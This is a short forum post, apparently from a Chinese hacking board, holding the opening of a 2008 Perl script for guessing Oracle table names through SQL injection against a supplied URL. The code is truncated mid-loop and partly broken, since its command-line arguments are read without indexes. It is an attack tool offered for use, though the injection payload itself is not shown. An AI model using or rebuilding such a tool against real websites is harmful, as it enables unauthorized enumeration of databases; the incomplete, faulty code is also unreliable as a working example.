oracle注入猜表名 with PERL-n3tl04d
#!/usr/bin/perl -w #Codz By N3tl04D#2008-11-26
use strict;
use LWP;
my $browser;
my $start=time();
my $p;
my $word;
my $pass;
&usage if @ARGV!=4;
my $inject=$ARGV;
my $key_word=$ARGV;
my $start_table=$ARGV;
my $save_path=$ARGV;
&info;
sub do_GET {
$browser = LWP::UserAgent->new unless $browser;
my $resp = $browser->get(@_);
return ($resp->content, $resp->status_line, $resp->is_success, $resp)
if wantarray;
return unless $resp->is_success;
return $resp->content;
}
my $crack;
for (my $j=$start_table;$j
页:
[1]